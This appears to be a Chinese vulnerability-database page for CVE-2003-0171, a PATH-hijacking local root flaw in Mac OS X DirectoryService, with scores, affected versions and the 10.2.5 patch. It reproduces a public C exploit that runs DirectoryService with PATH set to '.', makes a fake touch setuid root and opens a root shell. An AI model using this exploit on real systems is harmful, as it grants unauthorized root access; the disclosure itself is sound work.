CVE-2003-0171
CVSS7.2
发布时间 :2003-05-05 00:00:00
修订时间 :2008-09-10 15:18:10
NMCOES    

[原文]DirectoryServices in MacOS X trusts the PATH environment variable to locate and execute the touch command, which allows local users to execute arbitrary commands by modifying the PATH to point to a directory containing a malicious touch program.


[CNNVD]Apple MacOS X DirectoryService权限提升漏洞(CNNVD-200305-007)

        
        DirectoryServices是MacOS X信息和验证子系统,在启动阶段启动,默认setuid root属性安装。
        DirectoryServices由于使用不安全函数system()执行命令,本地攻击者可以利用这个漏洞以root用户权限在系统上执行任意命令。
        在DirectoryService启动的时,应用程序通过执行touch(1) UNIX命令建立文件,它通过system() libc函数来执行,由于调用system()函数时没有指定touch(1)命令的全路径,攻击者可以修改PATH环境变量执行恶意的伪造的touch(1)命令,导致以root用户权限执行包含的任意命令。
        要利用这个漏洞,必须首先停止DirectoryServices服务,这可以重复连接625端口完成。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:apple:mac_os_x:10.1.5Apple Mac OS X 10.1.5
cpe:/o:apple:mac_os_x_server:10.2.1Apple Mac OS X Server 10.2.1
cpe:/o:apple:mac_os_x:10.2.3Apple Mac OS X 10.2.3
cpe:/o:apple:mac_os_x:10.0.3Apple Mac OS X 10.0.3
cpe:/o:apple:mac_os_x:10.2Apple Mac OS X 10.2
cpe:/o:apple:mac_os_x:10.1.3Apple Mac OS X 10.1.3
cpe:/o:apple:mac_os_x:10.1.4Apple Mac OS X 10.1.4
cpe:/o:apple:mac_os_x_server:10.0Apple Mac OS X Server 10.0
cpe:/o:apple:mac_os_x:10.1Apple Mac OS X 10.1
cpe:/o:apple:mac_os_x:10.2.1Apple Mac OS X 10.2.1
cpe:/o:apple:mac_os_x:10.1.1Apple Mac OS X 10.1.1
cpe:/o:apple:mac_os_x_server:10.2Apple Mac OS X Server 10.2
cpe:/o:apple:mac_os_x_server:10.2.4Apple Mac OS X Server 10.2.4
cpe:/o:apple:mac_os_x:10.0.1Apple Mac OS X 10.0.1
cpe:/o:apple:mac_os_x:10.0.4Apple Mac OS X 10.0.4
cpe:/o:apple:mac_os_x:10.2.2Apple Mac OS X 10.2.2
cpe:/o:apple:mac_os_x:10.0.2Apple Mac OS X 10.0.2
cpe:/o:apple:mac_os_x:10.0Apple Mac OS X 10.0
cpe:/o:apple:mac_os_x_server:10.2.3Apple Mac OS X Server 10.2.3
cpe:/o:apple:mac_os_x_server:10.2.2Apple Mac OS X Server 10.2.2
cpe:/o:apple:mac_os_x:10.2.4Apple Mac OS X 10.2.4
cpe:/o:apple:mac_os_x:10.1.2Apple Mac OS X 10.1.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0171
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0171
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200305-007
(官方数据源) CNNVD

- 其它链接及资源

http://www.atstake.com/research/advisories/2003/a041003-1.txt
(VENDOR_ADVISORY)  ATSTAKE  A041003-1
http://lists.apple.com/mhonarc/security-announce/msg00028.html
(UNKNOWN)  CONFIRM  http://lists.apple.com/mhonarc/security-announce/msg00028.html

- 漏洞信息

Apple MacOS X DirectoryService权限提升漏洞
高危 输入验证
2003-05-05 00:00:00 2005-10-20 00:00:00
本地  
        
        DirectoryServices是MacOS X信息和验证子系统,在启动阶段启动,默认setuid root属性安装。
        DirectoryServices由于使用不安全函数system()执行命令,本地攻击者可以利用这个漏洞以root用户权限在系统上执行任意命令。
        在DirectoryService启动的时,应用程序通过执行touch(1) UNIX命令建立文件,它通过system() libc函数来执行,由于调用system()函数时没有指定touch(1)命令的全路径,攻击者可以修改PATH环境变量执行恶意的伪造的touch(1)命令,导致以root用户权限执行包含的任意命令。
        要利用这个漏洞,必须首先停止DirectoryServices服务,这可以重复连接625端口完成。
        

- 公告与补丁

        厂商补丁:
        Apple
        -----
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Apple Upgrade MacOSXUpdate10.2.5.dmg
        
        http://docs.info.apple.com/article.html?artnum=120210

- 漏洞信息 (15)

Mac OS X <= 10.2.4 DirectoryService (PATH) Local Root Exploit (EDBID:15)
osX local
2003-04-18 Verified
0 Neeko Oni
N/A [点击下载]
/* 
   OS X <= 10.2.4 DirectoryService local root PATH exploit
   DirectoryService must be crashed prior to execution, per
   @stake advisory.  If you discover how to crash DirectoryService
   e-mail me at neeko@haackey.com  [Neeko Oni]

--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.

bash$ ./touch
*bunch of stuff here*
euid is root.
bash#

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int 
main(int argc, char **argv)
{
	char           *ORIGPATH;
	int             temp;
	if (argc < 2) {
		if (geteuid() == 0) {
		printf("euid is root.\n");
		setuid(0);
		execl("/bin/bash", "bash", NULL);
		}
		strcpy(ORIGPATH, getenv("PATH"));
		printf("Original path: %s\n", ORIGPATH);
		setenv("PATH", ".", 1);
		printf("New path: %s\n", getenv("PATH"));
		printf("Executing DirectoryService with false PATH...\n");
		if (fork() == 0) {
			execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
		}
		printf("Forked DirectoryService, pausing before shell exec...\n");
		sleep(3);
		printf("Cross your fingers.\n");
		setenv("PATH", ORIGPATH, 1);
		printf("Path restored: %s\n", getenv("PATH"));
		execl("./touch", "touch", NULL);		
	}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}

// milw0rm.com [2003-04-18]
		

- 漏洞信息

7042
Apple Mac OS X DirectoryServices Path Environment Privilege Escalation
Local Access Required Misconfiguration
Loss of Integrity
Exploit Public

- 漏洞描述

Mac OS X contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicious 'touch' command is placed in the path, which will be executed by DirectoryServices. This flaw may lead to a loss of integrity.

- 时间线

2003-04-10 2003-03-25
2003-04-10 Unknow

- 解决方案

Upgrade to version 10.2.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Apple MacOS X DirectoryService Privilege Escalation Vulnerability
Input Validation Error 7322
No Yes
2003-04-10 12:00:00 2009-07-11 09:06:00
This issue was discovered by Dave G. <daveg@atstake.com>.

- 受影响的程序版本

Apple Mac OS X Server 10.2.4
Apple Mac OS X Server 10.2.3
Apple Mac OS X Server 10.2.2
Apple Mac OS X Server 10.2.1
Apple Mac OS X Server 10.2
Apple Mac OS X Server 10.0
Apple Mac OS X 10.2.4
Apple Mac OS X 10.2.3
Apple Mac OS X 10.2.2
Apple Mac OS X 10.2.1
Apple Mac OS X 10.2
Apple Mac OS X 10.1.5
Apple Mac OS X 10.1.4
Apple Mac OS X 10.1.3
Apple Mac OS X 10.1.2
Apple Mac OS X 10.1.1
Apple Mac OS X 10.1
Apple Mac OS X 10.0.4
Apple Mac OS X 10.0.3
Apple Mac OS X 10.0.2
Apple Mac OS X 10.0.1
Apple Mac OS X 10.0
Apple Mac OS X Server 10.2.5
Apple Mac OS X 10.2.5

- 不受影响的程序版本

Apple Mac OS X Server 10.2.5
Apple Mac OS X 10.2.5

- 漏洞讨论

Apple MacOS X DirectoryService is prone to an issue which may allow local attackers to gain elevated privileges. This issue is due to usage of libc system() function to execute commands. Attackers may potentially set a PATH environment variable that causes an arbitrary file to be executed with elevated. Exploitation may require the attacker to abuse other known issues (BID 7323) to crash the service.

- 漏洞利用

There is no exploit required.

- 解决方案

This issue is addressed in MacOS X 10.2.5. This update can be applied via the Software Update pane in System Preferences.


Apple Mac OS X Server 10.2

Apple Mac OS X 10.2

Apple Mac OS X Server 10.2.1

Apple Mac OS X 10.2.1

Apple Mac OS X 10.2.2

Apple Mac OS X Server 10.2.2

Apple Mac OS X 10.2.3

Apple Mac OS X Server 10.2.3

Apple Mac OS X 10.2.4

Apple Mac OS X Server 10.2.4

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站